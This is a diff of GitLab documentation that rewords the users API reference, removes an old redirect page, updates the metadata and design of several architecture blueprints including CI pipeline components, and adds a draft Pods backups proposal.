+++ b/doc/api/users.md
@@ -12,7 +12,7 @@ Get a list of users.
This function takes pagination parameters `page` and `per_page` to restrict the list of users.
-### For normal users
+### For non-administrator users
```plaintext
GET /users
@@ -468,6 +468,7 @@ over `password`. In addition, `reset_password` and
NOTE:
From [GitLab 12.1](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29888/), `private_profile` defaults to `false`.
+From [GitLab 15.8](https://gitlab.com/gitlab-org/gitlab/-/issues/231301), `private_profile` defaults to the value determined by [this](../user/admin_area/settings/account_and_limit_settings.md#set-profiles-of-new-users-to-private-by-default) setting.
NOTE:
From [GitLab 13.2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35604), `bio` defaults to `""` instead of `null`.
@@ -485,7 +486,7 @@ Parameters:
| `avatar` | No | Image file for user's avatar |
| `bio` | No | User's biography |
| `can_create_group` | No | User can create groups - true or false |
-| `color_scheme_id` | No | User's color scheme for the file viewer (see [the user preference docs](../user/profile/preferences.md#syntax-highlighting-theme) for more information) |
+| `color_scheme_id` | No | User's color scheme for the file viewer (for more information, see the [user preference documentation](../user/profile/preferences.md#syntax-highlighting-theme)) |
| `email` | Yes | Email |
| `extern_uid` | No | External UID |
| `external` | No | Flags the user as external - true or false (default) |
@@ -498,14 +499,14 @@ Parameters:
| `note` | No | Administrator notes for this user |
| `organization` | No | Organization name |
| `password` | No | Password |
-| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) |
+| `private_profile` | No | User's profile is private - true or false. The default value is determined by [this](../user/admin_area/settings/account_and_limit_settings.md#set-profiles-of-new-users-to-private-by-default) setting. |
| `projects_limit` | No | Number of projects user can create |
| `provider` | No | External provider name |
| `reset_password` | No | Send user password reset link - true or false(default) |
| `shared_runners_minutes_limit` **(PREMIUM)** | No | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this user. Can be `nil` (default; inherit system default), `0` (unlimited), or `> 0`. |
| `skip_confirmation` | No | Skip confirmation - true or false (default) |
| `skype` | No | Skype ID |
-| `theme_id` | No | GitLab theme for the user (see [the user preference docs](../user/profile/preferences.md#navigation-theme) for more information) |
+| `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) |
| `twitter` | No | Twitter account |
| `username` | Yes | Username |
| `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page |
@@ -533,7 +534,7 @@ Parameters:
| `avatar` | No | Image file for user's avatar |
| `bio` | No | User's biography |
| `can_create_group` | No | User can create groups - true or false |
-| `color_scheme_id` | No | User's color scheme for the file viewer (see [the user preference docs](../user/profile/preferences.md#syntax-highlighting-theme) for more information) |
+| `color_scheme_id` | No | User's color scheme for the file viewer (for more information, see the [user preference documentation](../user/profile/preferences.md#syntax-highlighting-theme) for more information) |
| `commit_email` | No | User's commit email. Set to `_private` to use the private commit email. [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/375148) in GitLab 15.5. |
| `email` | No | Email |
| `extern_uid` | No | External UID |
@@ -547,7 +548,7 @@ Parameters:
| `note` | No | Administration notes for this user |
| `organization` | No | Organization name |
| `password` | No | Password |
-| `private_profile` | No | User's profile is private - true, false (default), or null (is converted to false) |
+| `private_profile` | No | User's profile is private - true or false. |
| `projects_limit` | No | Limit projects each user can create |
| `pronouns` | No | Pronouns |
| `provider` | No | External provider name |
@@ -555,7 +556,7 @@ Parameters:
| `shared_runners_minutes_limit` **(PREMIUM)** | No | Can be set by administrators only. Maximum number of monthly CI/CD minutes for this user. Can be `nil` (default; inherit system default), `0` (unlimited) or `> 0`. |
| `skip_reconfirmation` | No | Skip reconfirmation - true or false (default) |
| `skype` | No | Skype ID |
-| `theme_id` | No | GitLab theme for the user (see [the user preference docs](../user/profile/preferences.md#navigation-theme) for more information) |
+| `theme_id` | No | GitLab theme for the user (for more information, see the [user preference documentation](../user/profile/preferences.md#navigation-theme) for more information) |
| `twitter` | No | Twitter account |
| `username` | No | Username |
| `view_diffs_file_by_file` | No | Flag indicating the user sees only one file diff per page |
@@ -601,9 +602,9 @@ Parameters:
Get current user.
-### For normal users
+### For non-administrator users
-Gets currently authenticated user.
+Gets the authenticated user.
```plaintext
GET /user
@@ -729,7 +730,7 @@ parameters:
## User status
-Get the status of the currently signed in user.
+Get the status of the authenticated user.
```plaintext
GET /user/status
@@ -785,6 +786,7 @@ Set the status of the current user.
```plaintext
PUT /user/status
+PATCH /user/status
```
| Attribute | Type | Required | Description |
@@ -793,7 +795,9 @@ PUT /user/status
| `message` | string | no | Message to set as a status. It can also contain emoji codes. Cannot exceed 100 characters. |
| `clear_status_after` | string | no | Automatically clean up the status after a given time interval, allowed values: `30_minutes`, `3_hours`, `8_hours`, `1_day`, `3_days`, `7_days`, `30_days`
-When both parameters `emoji` and `message` are empty, the status is cleared. When the `clear_status_after` parameter is missing from the request, the previously set value for `"clear_status_after` is cleared.
+Difference between `PUT` and `PATCH`
+
+When using `PUT` any parameters that are not passed are set to `null` and therefore cleared. When using `PATCH` any parameters that are not passed are ignored. Explicitly pass `null` to clear a field.
```shell
curl --request PUT --header "PRIVATE-TOKEN: <your_access_token>" --data "clear_status_after=1_day" --data "emoji=coffee" \
@@ -813,7 +817,7 @@ Example responses
## Get user preferences
-Get a list of currently authenticated user's preferences.
+Get a list of the authenticated user's preferences.
```plaintext
GET /user/preferences
@@ -942,7 +946,7 @@ Example response:
## User counts
-Get the counts (same as in top right menu) of the currently signed in user.
+Get the counts (same as in top right menu) of the authenticated user.
| Attribute | Type | Description |
| --------------------------------- | ------ | ---------------------------------------------------------------------------- |
@@ -974,11 +978,16 @@ Example response:
## List user projects
-Please refer to the [List of user projects](projects.md#list-user-projects).
+See the [list of user projects](projects.md#list-user-projects).
## List associations count for user
-Get a list of a specified user's count of projects, groups, issues and merge requests.
+Get a list of a specified user's count of:
+
+- Projects.
+- Groups.
+- Issues.
+- Merge requests.
Administrators can query any user, but non-administrators can only query themselves.
@@ -1005,7 +1014,7 @@ Example response:
## List SSH keys
-Get a list of currently authenticated user's SSH keys.
+Get a list of the authenticated user's SSH keys.
```plaintext
GET /user/keys
@@ -1097,7 +1106,7 @@ Parameters:
> The `usage_type` parameter was [introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105551) in GitLab 15.7.
-Creates a new key owned by the currently authenticated user.
+Creates a new key owned by the authenticated user.
```plaintext
POST /user/keys
@@ -1187,8 +1196,10 @@ This also adds an audit event, as described in [audit instance events](../admini
## Delete SSH key for current user
-Deletes key owned by currently authenticated user.
-This returns a `204 No Content` status code if the operation was successfully or `404` if the resource was not found.
+Deletes key owned by the authenticated user.
+
+This returns a `204 No Content` status code if the operation was successfully
+or `404` if the resource was not found.
```plaintext
DELETE /user/keys/:key_id
@@ -1217,7 +1228,7 @@ Parameters:
## List all GPG keys
-Get a list of currently authenticated user's GPG keys.
+Get a list of the authenticated user's GPG keys.
```plaintext
GET /user/gpg_keys
@@ -1241,7 +1252,7 @@ Example response:
## Get a specific GPG key
-Get a specific GPG key of currently authenticated user.
+Get a specific GPG key of authenticated user.
```plaintext
GET /user/gpg_keys/:key_id
@@ -1269,7 +1280,7 @@ Example response:
## Add a GPG key
-Creates a new GPG key owned by the currently authenticated user.
+Creates a new GPG key owned by the authenticated user.
```plaintext
POST /user/gpg_keys
@@ -1300,7 +1311,7 @@ Example response:
## Delete a GPG key
-Delete a GPG key owned by currently authenticated user.
+Delete a GPG key owned by the authenticated user.
```plaintext
DELETE /user/gpg_keys/:key_id
@@ -1431,11 +1442,10 @@ curl --request DELETE --header "PRIVATE-TOKEN: <your_access_token>" "https://git
## List emails
-Get a list of currently authenticated user's emails.
+Get a list of the authenticated user's emails.
NOTE:
-Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently
-does not return the primary email address.
+This endpoint does not return the primary email address, but [issue 25077](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) proposes to change this behavior.
```plaintext
GET /user/emails
@@ -1465,8 +1475,7 @@ Parameters:
Get a list of a specified user's emails. Available only for administrator
NOTE:
-Due to [a bug](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) this endpoint currently
-does not return the primary email address.
+This endpoint does not return the primary email address, but [issue 25077](https://gitlab.com/gitlab-org/gitlab/-/issues/25077) proposes to change this behavior.
```plaintext
GET /users/:id/emails
@@ -1502,7 +1511,7 @@ Parameters:
## Add email
-Creates a new email owned by the currently authenticated user.
+Creates a new email owned by the authenticated user.
```plaintext
POST /user/emails
@@ -1553,8 +1562,11 @@ Parameters:
## Delete email for current user
-Deletes email owned by currently authenticated user.
-This returns a `204 No Content` status code if the operation was successfully or `404` if the resource was not found.
+Deletes email owned by authenticated user.
+
+This returns a `204 No Content` status code if the operation was successfully
+or `404` if the resource was not found.
+
This cannot delete a primary email address.
```plaintext
@@ -1645,10 +1657,10 @@ Returns:
- `201 OK` on success.
- `404 User Not Found` if user cannot be found.
-- `403 Forbidden` when trying to deactivate a user:
+- `403 Forbidden` when trying to deactivate a user that is:
- Blocked by administrator or by LDAP synchronization.
- - That is not [dormant](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users).
- - That is internal.
+ - Not [dormant](../user/admin_area/moderate_users.md#automatically-deactivate-dormant-users).
+ - Internal.
## Activate user **(FREE SELF)**
@@ -1714,7 +1726,7 @@ Returns:
## Get user contribution events
-Please refer to the [Events API documentation](events.md#get-user-contribution-events)
+See the [Events API documentation](events.md#get-user-contribution-events)
## Get all impersonation tokens of a user **(FREE SELF)**
diff --git a/doc/api/v3_to_v4.md b/doc/api/v3_to_v4.md
deleted file mode 100644
index 875f4528c0e..00000000000
--- a/doc/api/v3_to_v4.md
+++ /dev/null
@@ -1,11 +0,0 @@
----
-redirect_to: 'https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md'
-remove_date: '2023-01-31'
----
-
-This document was moved to [another location](https://gitlab.com/gitlab-org/gitlab-foss/-/blob/11-0-stable/doc/api/v3_to_v4.md).
-
-<!-- This redirect file can be deleted after <2023-01-31>. -->
-<!-- Redirects that point to other docs in the same project expire in three months. -->
-<!-- Redirects that point to docs in a different project or site (for example, link is not relative and starts with `https:`) expire in one year. -->
-<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/redirects.html -->
diff --git a/doc/architecture/blueprints/ci_data_decay/index.md b/doc/architecture/blueprints/ci_data_decay/index.md
index 6df37e28992..e26e7d5dbd3 100644
--- a/doc/architecture/blueprints/ci_data_decay/index.md
+++ b/doc/architecture/blueprints/ci_data_decay/index.md
@@ -1,8 +1,8 @@
---
-status: ready
+status: ongoing
creation-date: "2021-09-10"
authors: [ "@grzesiek" ]
-coach: "@kamil"
+coach: [ "@ayufan", "@grzesiek" ]
approvers: [ "@jporter", "@cheryl.li" ]
owning-stage: "~devops::verify"
participating-stages: []
diff --git a/doc/architecture/blueprints/ci_pipeline_components/index.md b/doc/architecture/blueprints/ci_pipeline_components/index.md
index 100c9e67fda..5bff794c683 100644
--- a/doc/architecture/blueprints/ci_pipeline_components/index.md
+++ b/doc/architecture/blueprints/ci_pipeline_components/index.md
@@ -1,8 +1,8 @@
---
status: proposed
creation-date: "2022-09-14"
-authors: [ "@fabio", "@grzesiek" ]
-coach: "@kamil"
+authors: [ "@ayufan", "@fabiopitino", "@grzesiek" ]
+coach: [ "@ayufan", "@grzesiek" ]
approvers: [ "@dhershkovitch", "@marknuzzo" ]
owning-stage: "~devops::verify"
participating-stages: []
@@ -134,6 +134,28 @@ For best experience with any systems made of components it's fundamental that co
The version identifies the exact interface and behavior of the component.
- **Resolvable**: when a component depends on another component, this dependency must be explicit and trackable.
+### Predictable components
+
+Eventually, we want to make CI Catalog Components predictable. Including a
+component by its path, using a fixed `@` version, should always return the same
+configuration, regardless of a context from which it is getting included from.
+The resulting configuration should be the same for a given component version
+and the set of inputs passed using `with:` keyword, hence it should be
+[deterministic](https://en.wikipedia.org/wiki/Deterministic_algorithm).
+
+A component should not produce side effects by being included and should be
+[referentially transparent](https://en.wikipedia.org/wiki/Referential_transparency).
+
+Making components predictable is a process, and we may not be able to achieve
+this without significantly redesigning CI templates, what could be disruptive
+for users and customers right now. We initially considered restricting some
+top-level keywords, like `include: remote:` to make components more
+deterministic, but eventually agreed that we first need to iterate on the MVP
+to better understand the design that is required to make components more
+predictable. The predictability, determinism, referential transparency and
+making CI components predictable is still important for us, but we may be
+unable to achieve it early iterations.
+
## Structure of a component
A pipeline component is identified by the path to a repository or directory that defines it
@@ -143,30 +165,36 @@ For example: `gitlab-org/dast@1.0`.
### The component path
-A component path must contain at least the metadata YAML and optionally a related `README.md` documentation file.
+A component path must contain at least the component YAML and optionally a
+related `README.md` documentation file.
The component path can be:
-- A path to a project: `gitlab-org/dast`. In this case the 2 files are defined in the root directory of the repository.
-- A path to a project subdirectory: `gitlab-org/dast/api-scan`. In this case the 2 files are defined in the `api-scan` directory.
-- A path to a local directory: `/path/to/component`. This path must contain the metadata YAML that defines the component.
+- A path to a project: `gitlab-org/dast`. The default component is processed.
+- A path to an explicit component: `gitlab-org/dast/api-scan`. In this case the explicit `api-scan` component is processed.
+- A path to a local directory: `/path/to/component`. This path must contain the component YAML that defines the component.
The path must start with `/` to indicate a full path in the repository.
-The metadata YAML file follows the filename convention `gitlab-<component-type>.yml` where component type is one of:
+The component YAML file follows the filename convention `<type>.yml` where component type is one of:
| Component type | Context |
| -------------- | ------- |
| `template` | For components used under `include:` keyword |
| `step` | For components used under `steps:` keyword |
-| `workflow` | For components used under `trigger:` keyword |
Based on the context where the component is used we fetch the correct YAML file.
-For example, if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `gitlab-template.yml` in the
-top level directory of `gitlab-org/dast` repository.
+For example:
+
+- if we are including a component `gitlab-org/dast@1.0` we expect a YAML file named `template.yml` in the
+ root directory of `gitlab-org/dast` repository.
+- if we are including a component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `template.yml` inside a
+ directory `api-scan` of `gitlab-org/dast` repository.
+- if we are using a step component `gitlab-org/dast/api-scan@1.0` we expect a YAML file named `step.yml` inside a
+ directory `api-scan` of `gitlab-org/dast` repository.
-A `gitlab-<component-type>.yml` file:
+A component YAML file:
-- Must have a **name** to be referenced to and **description** for extra details.
+- Must have a **name** to be referenced to.
- Must specify its **type** in the filename, which defines how it can be used (raw configuration to be `include`d, child pipeline workflow, job step).
- Must define its **content** based on the type.
- Must specify **input parameters** that it accepts. Components should depend on input parameters for dynamic values and not environment variables.
@@ -174,6 +202,7 @@ A `gitlab-<component-type>.yml` file:
- Should be **validated statically** (for example: using JSON schema validators).
```yaml
+---
spec:
inputs:
website:
@@ -184,11 +213,12 @@ spec:
- unit
- integration
- system
-content: { ... }
+---
+# content of the component
```
-Components that are released in the catalog must have a `README.md` file in the same directory as the
-metadata YAML file. The `README.md` represents the documentation for the specific component, hence it's recommended
+Components that are released in the catalog must have a `README.md` file at the root directory of the repository.
+The `README.md` represents the documentation for the specific component, hence it's recommended
even when not releasing versions in the catalog.
### The component version
@@ -230,30 +260,28 @@ The following directory structure would support 1 component per project:
```plaintext
.
-├── gitlab-<type>.yml
+├── template.yml
├── README.md
└── .gitlab-ci.yml
```
The `.gitlab-ci.yml` is recommended for the project to ensure changes are verified accordingly.
-The component is now identified by the path `myorg/rails-rspec`. In other words, this means that
-the `gitlab-<type>.yml` and `README.md` are located in the root directory of the repository.
+The component is now identified by the path `myorg/rails-rspec` and we expect a `template.yml` file
+and `README.md` located in the root directory of the repository.
The following directory structure would support multiple components per project:
```plaintext
.
├── .gitlab-ci.yml
+├── README.md
├── unit/
-│ ├── gitlab-workflow.yml
-│ └── README.md
+│ └── template.yml
├── integration/
-│ ├── gitlab-workflow.yml
-│ └── README.md
+│ └── template.yml
└── feature/
- ├── gitlab-workflow.yml
- └── README.md
+ └── template.yml
```
In this example we are defining multiple test profiles that are executed with RSpec.
@@ -266,18 +294,20 @@ This directory structure could also support both strategies:
```plaintext
.
-├── gitlab-template.yml # myorg/rails-rspec
+├── template.yml # myorg/rails-rspec
├── README.md
+├── LICENSE
├── .gitlab-ci.yml
├── unit/
-│ ├── gitlab-workflow.yml # myorg/rails-rspec/unit
-│ └── README.md
+│ └── template.yml # myorg/rails-rspec/unit
├── integration/
-│ ├── gitlab-workflow.yml # myorg/rails-rspec/integration
-│ └── README.md
-└── feature/
- ├── gitlab-workflow.yml # myorg/rails-rspec/feature
- └── README.md
+│ └── template.yml # myorg/rails-rspec/integration
+├── feature/
+│ └── template.yml # myorg/rails-rspec/feature
+└── report/
+ ├── step.yml # myorg/rails-rspec/report
+ ├── Dockerfile
+ └── ... other files
```
With the above structure we could have a top-level component that can be used as the
@@ -285,14 +315,15 @@ default component. For example, `myorg/rails-rspec` could run all the test profi
However, more specific test profiles could be used separately (for example `myorg/rails-rspec/integration`).
NOTE:
-Any nesting more than 1 level is initially not permitted.
+Nesting of components is not permitted.
This limitation encourages cohesion at project level and keeps complexity low.
-## Input parameters `spec:inputs:` parameters
+## `spec:inputs:` parameters
If the component takes any input parameters they must be specified according to the following schema:
```yaml
+---
spec:
inputs:
website: # by default all declared inputs are mandatory.
@@ -303,8 +334,15 @@ spec:
- unit
- integration
- system
+---
+# content of the component
+my-job:
+ script: echo
```
+The YAML in this case contains 2 documents. The first document represents the specifications while the
+second document represents the content.
+
When using the component we pass the input parameters as follows:
```yaml
@@ -322,27 +360,28 @@ possible [inputs provided upstream](#input-parameters-for-pipelines).
Input parameters are validated as soon as possible:
1. Read the file `gitlab-template.yml` inside `org/my-component`.
-1. Parse `spec:inputs` and validate the parameters against this schema.
-1. If successfully validated, proceed with parsing `content:`. Return an error otherwise.
-1. Interpolate input parameters inside the component's `content:`.
+1. Parse `spec:inputs` from the specifications and validate the parameters against this schema.
+1. If successfully validated, proceed with parsing the content. Return an error otherwise.
+1. Interpolate input parameters inside the component's content.
```yaml
+---
spec:
inputs:
environment:
options: [test, staging, production]
-content:
- "run-tests-$[[ inputs.environment ]]":
- script: ./run-test
-
- scan-website:
- script: ./scan-website $[[ inputs.environment ]]
- rules:
- - if: $[[ inputs.environment ]] == 'staging'
- - if: $[[ inputs.environment ]] == 'production'
+---
+"run-tests-$[[ inputs.environment ]]":
+ script: ./run-test
+
+scan-website:
+ script: ./scan-website $[[ inputs.environment ]]
+ rules:
+ - if: $[[ inputs.environment ]] == 'staging'
+ - if: $[[ inputs.environment ]] == 'production'
```
-With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the `content:`.
+With `$[[ inputs.XXX ]]` inputs are interpolated immediately after parsing the content.
### Why input parameters and not environment variables?
@@ -386,17 +425,19 @@ include:
foo: bar
```
-Then the configuration being included must specify the inputs:
+Then the configuration being included must specify the inputs by defining a specification section in the YAML:
```yaml
+---
spec:
inputs:
foo:
-
+---
# rest of the configuration
```
-If a YAML includes content using `with:` but the including YAML doesn't specify `inputs:`, an error should be raised.
+If a YAML includes content using `with:` but the including YAML doesn't define `inputs:` in the specifications,
+an error should be raised.
|`with:`| `inputs:` | result |
| --- | --- | --- |
@@ -428,9 +469,10 @@ deploy-app:
deploy_environment: staging
```
-To solve the problem of `Run Pipeline` UI form we could fully leverage the `spec:inputs` schema:
+To solve the problem of `Run Pipeline` UI form we could fully leverage the `inputs` specifications:
```yaml
+---
spec:
inputs:
concurrency:
@@ -443,9 +485,11 @@ spec:
- canary # 2nd option
- production # 3rd option
default: staging # selected by default in the UI.
- # if `default:` is not specified, the user must explicitly select
- # an option.
+ # if `default:` is not specified, the user must explicitly select
+ # an option.
description: Deployment environment # optional: render as input label.
+---
+# rest of the pipeline config
```
## Limits
diff --git a/doc/architecture/blueprints/ci_scale/index.md b/doc/architecture/blueprints/ci_scale/index.md
index 574a79c86a5..cf7065f7c07 100644
--- a/doc/architecture/blueprints/ci_scale/index.md
+++ b/doc/architecture/blueprints/ci_scale/index.md
@@ -1,5 +1,5 @@
---
-status: in progress
+status: ongoing
creation-date: "2021-01-21"
authors: [ "@grzesiek" ]
coach: "@grzesiek"
diff --git a/doc/architecture/blueprints/cloud_native_build_logs/index.md b/doc/architecture/blueprints/cloud_native_build_logs/index.md
index 20cfb46abc4..bbce54a3fb2 100644
--- a/doc/architecture/blueprints/cloud_native_build_logs/index.md
+++ b/doc/architecture/blueprints/cloud_native_build_logs/index.md
@@ -2,7 +2,7 @@
status: implemented
creation-date: "2020-08-26"
authors: [ "@grzesiek" ]
-coach: "@kamil"
+coach: [ "@ayufan", "@grzesiek" ]
approvers: [ "@thaoyeager", "@darbyfrey" ]
owning-stage: "~devops::release"
participating-stages: []
diff --git a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
index b6f3a59dc0b..2bca1a4a4ca 100644
--- a/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
+++ b/doc/architecture/blueprints/cloud_native_gitlab_pages/index.md
@@ -2,7 +2,7 @@
status: implemented
creation-date: "2019-05-16"
authors: [ "@grzesiek" ]
-coach: "@kamil"
+coach: [ "@ayufan", "@grzesiek" ]
approvers: [ "@ogolowinski", "@dcroft", "@vshushlin" ]
owning-stage: "~devops::release"
participating-stages: []
diff --git a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md
index 3ef98c33035..7fecbd1de71 100644
--- a/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md
+++ b/doc/architecture/blueprints/composable_codebase_using_rails_engines/index.md
@@ -1,14 +1,14 @@
---
status: proposed
creation-date: "2021-05-19"
-authors: [ "@kamil", "@mkaeppler" ]
+authors: [ "@ayufan", "@mkaeppler" ]
coach: "@glopezfernandez"
approvers: []
owning-stage: "~devops::non_devops"
participating-stages: []
---
-# Composable GitLab codebase - using Rails Engines
+# Composable GitLab Codebase
NOTE:
Due to our focus on improving the overall availability of GitLab.com and reducing tech debt, we do not have capacity to act on this blueprint. We will re-evaluate in Q1-FY23.
diff --git a/doc/architecture/blueprints/feature_flags_development/index.md b/doc/architecture/blueprints/feature_flags_development/index.md
index 730daf56f0d..b2e6fd1e82c 100644
--- a/doc/architecture/blueprints/feature_flags_development/index.md
+++ b/doc/architecture/blueprints/feature_flags_development/index.md
@@ -1,14 +1,14 @@
---
-status: accepted
+status: implemented
creation-date: "2020-06-10"
-authors: [ "@kamil" ]
+authors: [ "@ayufan" ]
coach: "@glopezfernandez"
approvers: [ "@kencjohnston", "@craig-gomes" ]
owning-stage: "~devops::non_devops"
participating-stages: []
---
-# Architectural discussion of feature flags
+# Development Feature Flags Architecture
Usage of feature flags become crucial for the development of GitLab. The
feature flags are a convenient way to ship changes early, and safely rollout
diff --git a/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md b/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md
index a6efe68310e..c5bd2440b0c 100644
--- a/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md
+++ b/doc/architecture/blueprints/gitlab_observability_backend/metrics/index.md
@@ -673,10 +673,10 @@ Using PromQL directly could be a steep learning curve for users. It would be rea
The following section enlists how we intend to implement the aforementioned proposal around building Metrics support into GitLab Observability Service. Each corresponding document and/or issue contains further details of how each next step is planned to be executed.
-- **[DONE]** [Research & draft design proposal and/or requirements](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing)
-- **[IN-PROGRESS]** [Submit system/schema designs (proposal) & gather feedback](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing)
-- **[IN-PROGRESS]** [Develop table definitions and/or storage interfaces](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666)
-- **[IN-PROGRESS]** [Prototype reference implementation, instrument key metrics](https://gitlab.com/gitlab-org/opstrace/opstrace/-/merge_requests/1823)
+- **DONE** [Research & draft design proposal and/or requirements](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing)
+- **IN-PROGRESS** [Submit system/schema designs (proposal) & gather feedback](https://docs.google.com/document/d/1kHyIoWEcs14sh3CGfKGiI8QbCsdfIHeYkzVstenpsdE/edit?usp=sharing)
+- **IN-PROGRESS** [Develop table definitions and/or storage interfaces](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666)
+- **IN-PROGRESS** [Prototype reference implementation, instrument key metrics](https://gitlab.com/gitlab-org/opstrace/opstrace/-/merge_requests/1823)
- [Benchmark Clickhouse and/or proposed schemas, gather expert advice from Clickhouse Inc.](https://gitlab.com/gitlab-org/opstrace/opstrace/-/issues/1666)
- Develop write path(s) - `remote_write` API
- Develop read path(s) - `remote_read` API, `PromQL`-based querier.
diff --git a/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png b/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png
index 54c4ed3b48f..9dccc515129 100644
--- a/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png
+++ b/doc/architecture/blueprints/gitlab_observability_backend/metrics/supported-deployments.png
Binary files differ
diff --git a/doc/architecture/blueprints/graphql_api/index.md b/doc/architecture/blueprints/graphql_api/index.md
index 4b446a78541..95ff834cd27 100644
--- a/doc/architecture/blueprints/graphql_api/index.md
+++ b/doc/architecture/blueprints/graphql_api/index.md
@@ -2,7 +2,7 @@
status: accepted
creation-date: "2021-01-07"
authors: [ "@grzesiek" ]
-coach: "@kamil"
+coach: [ "@ayufan", "@grzesiek" ]
approvers: [ "@dsatcher", "@deuley" ]
owning-stage: "~devops::manage"
participating-stages: []
diff --git a/doc/architecture/blueprints/image_resizing/index.md b/doc/architecture/blueprints/image_resizing/index.md
index 99a7c4ae144..b3938cbc8ab 100644
--- a/doc/architecture/blueprints/image_resizing/index.md
+++ b/doc/architecture/blueprints/image_resizing/index.md
@@ -2,7 +2,7 @@
status: implemented
creation-date: "2020-10-21"
authors: [ "@craig-gomes" ]
-coach: "@kamil"
+coach: "@ayufan"
approvers: [ "@timzallmann", "@joshlambert" ]
owning-stage: "~devops::non_devops"
participating-stages: []
diff --git a/doc/architecture/blueprints/pods/index.md b/doc/architecture/blueprints/pods/index.md
index 0a36de5790f..077303be30f 100644
--- a/doc/architecture/blueprints/pods/index.md
+++ b/doc/architecture/blueprints/pods/index.md
@@ -1,8 +1,8 @@
---
status: accepted
creation-date: "2022-09-07"
-authors: [ "@fzimmer", "@DylanGriffith" ]
-coach: "@kamil"
+authors: [ "@ayufan", "@fzimmer", "@DylanGriffith" ]
+coach: "@ayufan"
approvers: [ "@fzimmer" ]
owning-stage: "~devops::enablement"
participating-stages: []
@@ -150,6 +150,14 @@ At this moment, GitLab.com has "social-network"-like capabilities that may not f
We should evaluate if the SMB and mid market segment is interested in these features, or if not having them is acceptable in most cases.
+### Self-managed
+
+For reasons of consistency, it is expected that self-managed instances will
+adopt the pods architecture as well. To expand, self-managed instances can
+continue with just a single Pod while supporting the option of adding additional
+Pods. Organizations, and possible User decomposition will also be adopted for
+self-managed instances.
+
## High-level architecture problems to solve
A number of technical issues need to be resolved to implement Pods (in no particular order). This section will be expanded.
@@ -325,9 +333,11 @@ This is the list of known affected features with the proposed solutions.
- [Pods: Organizations](pods-feature-organizations.md)
- [Pods: Router Endpoints Classification](pods-feature-router-endpoints-classification.md)
- [Pods: Schema changes (Postgres and Elasticsearch migrations)](pods-feature-schema-changes.md)
+- [Pods: Backups](pods-feature-backups.md)
- [Pods: Global Search](pods-feature-global-search.md)
- [Pods: CI Runners](pods-feature-ci-runners.md)
- [Pods: Admin Area](pods-feature-admin-area.md)
+- [Pods: Secrets](pods-feature-secrets.md)
- [Pods: Container Registry](pods-feature-container-registry.md)
- [Pods: Contributions: Forks](pods-feature-contributions-forks.md)
- [Pods: Personal Namespaces](pods-feature-personal-namespaces.md)
diff --git a/doc/architecture/blueprints/pods/pods-feature-backups.md b/doc/architecture/blueprints/pods/pods-feature-backups.md
new file mode 100644
index 00000000000..5e4de42f473
--- /dev/null
+++ b/doc/architecture/blueprints/pods/pods-feature-backups.md
@@ -0,0 +1,61 @@
+---
+stage: enablement
+group: pods
+comments: false
+description: 'Pods: Backups'
+---
+
+This document is a work-in-progress and represents a very early state of the
+Pods design. Significant aspects are not documented, though we expect to add
+them in the future. This is one possible architecture for Pods, and we intend to
+contrast this with alternatives before deciding which approach to implement.
+This documentation will be kept even if we decide not to implement this so that
+we can document the reasons for not choosing this approach.
+
+# Pods: Backups
+
+Each pods will take its own backups, and consequently have its own isolated
+backup / restore procedure.
+
+## 1. Definition
+
+GitLab Backup takes a backup of the PostgreSQL database used by the application,
+and also Git repository data.
+
+## 2. Data flow
+
+Each pod has a number of application databases to back up (e.g. `main`, and `ci`).
+
+Additionally, there may be cluster-wide metadata tables (e.g. `users` table)
+which is directly accesible via PostgreSQL.
+
+## 3. Proposal
+
+### 3.1. Cluster-wide metadata
+
+It is currently unknown how cluster-wide metadata tables will be accessible. We
+may choose to have cluster-wide metadata tables backed up separately, or have
+each pod back up its copy of cluster-wide metdata tables.
+
+### 3.2 Consistency
+
+#### 3.2.1 Take backups independently
+
+As each pod will communicate with each other via API, and there will be no joins
+to the users table, it should be acceptable for each pod to take a backup
+independently of each other.
+
+#### 3.2.2 Enforce snapshots
+
+We can require that each pod take a snapshot for the PostgreSQL databases at
+around the same time to allow for a consistent-enough backup.
+
+## 4. Evaluation
+
+As the number of pods increases, it will likely not be feasible to take a
+snapshot at the same time for all pods. Hence taking backups independently is
+the better option.
+
+## 4.1. Pros
+
+## 4.2. Cons
